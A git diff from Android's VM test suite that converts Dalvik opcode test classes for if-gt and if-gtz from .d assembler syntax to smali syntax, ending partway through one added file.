diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.d
deleted file mode 100644
index 30e3b81..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gt_2.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali
new file mode 100644
index 0000000..3139427
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_2.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.d
deleted file mode 100644
index 75d4d17..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_3.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali
new file mode 100644
index 0000000..acd03b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_3.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.d
deleted file mode 100644
index f1ebef1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_4.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-gt v7, v8, Label11
-       const/16 v7, 1234
-       return v7
-
-Label11:
-       const/4 v7, 1
-       return v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali
new file mode 100644
index 0000000..2a6c05c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_4.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v7, v8, :Label11
+       const/16 v7, 1234
+       return v7
+
+:Label11
+       const/4 v7, 1
+       return v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.d
deleted file mode 100644
index 829291b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_5.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-gt v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali
new file mode 100644
index 0000000..8d7bd9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_5.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-gt v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.d
deleted file mode 100644
index 39b3541..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_6.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-gt v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali
new file mode 100644
index 0000000..5167b5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_6.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-gt v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.d
deleted file mode 100644
index 88b8364..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_7.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali
new file mode 100644
index 0000000..4bd5418
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_7.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.d
deleted file mode 100644
index 8325322..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gt_8.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-gt v6, v0, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali
new file mode 100644
index 0000000..6f8a4b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gt_8.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v6, v0, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.d
deleted file mode 100644
index 198d870..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_9.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/4 v6, 0
-       return v6
-
-Label11:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali
new file mode 100644
index 0000000..c50aad0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_9.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/4 v6, 0
+       return v6
+
+:Label11
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.d
deleted file mode 100644
index 2207436..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_1.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gtz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali
new file mode 100644
index 0000000..e0dce24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_1.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.d
deleted file mode 100644
index 4119a6e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gtz_10.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gtz v5, Label8
-       const/4 v0, 0
-       return v0
-
-Label8:
-       nop
-       const v0, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali
new file mode 100644
index 0000000..107d86e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_gtz_10.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       nop
+       const v0, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.d
deleted file mode 100644
index b57c6ab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_2.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-gtz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali
new file mode 100644
index 0000000..9d261eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_2.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.d
deleted file mode 100644
index c2db4b7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_3.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gtz v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali
new file mode 100644
index 0000000..76949fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_3.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.d
deleted file mode 100644
index 98e01e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_4.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-gtz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali
new file mode 100644
index 0000000..7bdbfb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_4.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-gtz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.d
deleted file mode 100644
index 29f8800..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_5.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-gtz v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali
new file mode 100644
index 0000000..8fdd199
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_5.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-gtz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.d
deleted file mode 100644
index a91668e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_6.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-gtz v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali
new file mode 100644
index 0000000..1fbaafa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_6.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-gtz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.d
deleted file mode 100644
index 71a5bfc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gtz_7.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gtz v0, Label9
-       const/16 v0, 1234
-       return v0
-
-Label9:
-       const/4 v0, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali
new file mode 100644
index 0000000..929e290
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gtz_7.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gtz v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.d
deleted file mode 100644
index 5bf3d9c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gtz_8.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gtz v5, Label8
-       const/4 v0, 0
-       return v0
-
-Label8:
-       nop
-       const/4 v0, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali
new file mode 100644
index 0000000..2b40be0
--- /dev/null
